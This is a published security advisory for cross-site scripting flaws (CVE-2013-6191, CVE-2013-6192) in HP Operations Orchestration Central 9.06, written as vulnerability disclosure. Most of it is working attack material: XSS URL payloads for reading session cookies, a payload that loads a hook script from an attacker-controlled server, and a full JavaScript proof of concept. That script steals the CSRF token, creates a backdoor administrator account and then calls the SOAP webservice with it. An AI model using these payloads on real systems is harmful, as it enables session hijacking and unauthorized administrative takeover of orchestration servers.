HP Operations Orchestration Central 9.06 Cross Site Scripting

2013-12-20T00:00:00
ID PACKETSTORM:124542
Type packetstorm
Reporter Bart Leppens
Modified 2013-12-20T00:00:00

Description

                                        
                                            `Name: XSS in HP Operations Orchestration Central version 9.06  
  
Systems Affected: HP Operations Orchestration version 9.06  
  
Severity: High  
  
Vendor: Hewlett-Packard  
  
References: CVE-2013-6191, CVE-2013-6192, SSRT101342  
  
Author: Bart Leppens  
  
Date: 20130919  
  
  
I. BACKGROUND  
  
HP Operations Orchestration (HP OO) is a solution for automating IT tasks.  
HP Operations Orchestration Central is used to administrate this tool. The  
HP Operations Orchestration tool also has a webservice (SOAP-based) that  
allows you to have complete controle over HP OO.  
  
  
II. DESCRIPTION  
  
The HP Operations Orchestration Central application is vulnerable to XSS.  
Not only can we steal an administrators session cookie. We can use this  
XSS to extract the CSRF-token as well and this way we are able to remotely  
create supplementary (administrator) user accounts. Once this account is  
created it can be used (once again from the exterior) to send and recieve  
messages from the SOAP webservice.  
  
All these examples have been tested with FF 24.0.  
  
  
III. It all starts with a XSS  
  
  
https://x.x.x.x:8443/PAS/app%3F%3Cimg%20src=x%20onerror=alert%28document.cookie%29;%20/  
  
  
It is clear that in this way you can easily steal session cookies,  
especially since the HTTPOnly-flag is not set for the session cookie. The  
attack can be very simple like tricking an administrator to visit a webpage  
that contains a hidden iFrame. The session can be hijacked and the  
attacker can administer the complete tool.  
  
  
The XSS vulnerability can also be exploited from the exterior. An attacker  
can for example add a backdoor admin user, or manage flows. E.g. to add a  
supplementary user an attacker needs to extract the CSRF-token and and call  
the page to create a supplementary user account with preferably  
administrator rights. Since the attacker has control over the chosen  
password of his newly created user, these credentials can be used to call  
methods from the SOAP Webservice. This gives the attacker complete remote  
control from the exteriour over the orchestration tool.  
  
  
Since for the PoC a bunch of javascript needs to be executed, we assume  
that the javascript file is hosted on a remote server and is appended to  
the DOM via XSS:  
  
https://x.x.x.x:8443/PAS/app%3F  
<img%20src=x%20onerror="var%20script=document.createElement('script');script.type='text/javascript';script.src='  
https://y.y.y.y:9887/hook.js';document.body.appendChild(script);"%20/  
  
  
In this example x.x.x.x is the ip address of the HP OO Central application  
en y.y.y.y is the ip address of a server controled by the attacker.  
  
  
Consider the javascript code in the next paragraph as a complete PoC. It  
extracts the CSRF-token, adds a new admin user and makes a SOAP call which  
relies on the newly created user.  
  
  
IV. PoC  
  
  
  
var HPOO = "10.11.12.13:8443";  
  
var csrfToken = "";  
  
var userName = "newadmin";  
  
var password = "adminadmin123";  
  
  
function getCSRFToken()  
  
{  
  
var wsUrl = "https://  
"+HPOO+"/PAS/app?service=partial/0/UsersAdmin/UsersAdmin/addUserLink/EditUserDialogPart/DialogsStatePart";  
  
var xmlhttp = new XMLHttpRequest();  
  
xmlhttp.open("GET", wsUrl, true);  
  
xmlhttp.withCredentials = "true";  
  
xmlhttp.onreadystatechange = function () {  
  
if (xmlhttp.readyState==4)  
  
{  
  
if (xmlhttp.status==200 || xmlhttp.status==0)  
  
{  
  
var rx = /hiddenUserList" value="([^"]*)/g;  
  
csrf = rx.exec(xmlhttp.responseText);  
  
csrfToken = csrf[1];  
  
createUser();  
  
}  
  
}  
  
}  
  
  
xmlhttp.send();  
  
}  
  
  
function createUser()  
  
{  
  
var wsUrl = "https://"+HPOO+"/PAS/app";  
  
var xmlhttp = new XMLHttpRequest();  
  
var postData =  
"service=direct%2F1%2FUsersAdmin%2FEditUser.userForm&sp=S2&Form2=inputUserName%2CaccountInternal%2CchangePassword%2ChasPass%2CinputUserPass%2CinputVerifyPass%2CaccountEnabled%2CeditedUser%2ChiddenUserList%2CgroupSelector%2Cdefault%2Cnew%2Cedit&editedUser=X&hiddenUserList="+csrfToken+"&inputUserName="+userName+"&accountInternal=on&hasPass=on&inputUserPass="+password+"&inputVerifyPass="+password+"&accountEnabled=on&groupSelector=0&new=Create+User";  
  
xmlhttp.open("POST", wsUrl, true);  
  
xmlhttp.setRequestHeader("Content-Type",  
"application/x-www-form-urlencoded");  
  
xmlhttp.withCredentials = "true";  
  
xmlhttp.onreadystatechange = function () {  
  
if (xmlhttp.readyState==4)  
  
{  
  
if (xmlhttp.status==200 || xmlhttp.status==0)  
  
{  
  
var rx = /hiddenUserList" value="([^"]*)/g;  
  
csrf = rx.exec(xmlhttp.responseText);  
  
csrfToken = csrf[1];  
  
sendSoapReq();  
  
}  
  
}  
  
}  
  
  
xmlhttp.send(postData);  
  
}  
  
  
function sendSoapReq()  
  
{  
  
  
var wsUrl = "https://"+HPOO+"/PAS/services/WSAutomationFocusAPI";  
  
var soapRequest ='<soapenv:Envelope xmlns:xsi="  
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="  
http://www.w3.org/2001/XMLSchema" xmlns:soapenv="  
http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsc="  
http://wscentralservice.services.dharma.iconclude.com"><soapenv:Header/><soapenv:Body><wsc:list  
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><basePath  
xsi:type="soapenc:string" xmlns:soapenc="  
http://schemas.xmlsoap.org/soap/encoding/  
">Library</basePath></wsc:list></soapenv:Body></soapenv:Envelope>';  
  
var xmlhttp = new XMLHttpRequest();  
  
  
xmlhttp.open("POST", wsUrl, true);  
  
xmlhttp.setRequestHeader("Content-type","text/xml");  
  
xmlhttp.setRequestHeader("Access-Control-Allow-Origin","*");  
  
xmlhttp.setRequestHeader("SOAPAction","https://  
"+HPOO+"/PAS/services/WSAutomationFocusAPI");  
  
xmlhttp.setRequestHeader("Authorization","Basic  
"+btoa(userName+":"+password));  
  
xmlhttp.withCredentials = "true";  
  
xmlhttp.onreadystatechange = function () {  
  
if (xmlhttp.readyState==4)  
  
{  
  
if (xmlhttp.status==200 || xmlhttp.status==0)  
  
{  
  
alert(xmlhttp.responseText);  
  
}  
  
}  
  
}  
  
  
xmlhttp.send(soapRequest);  
  
}  
  
  
getCSRFToken();  
`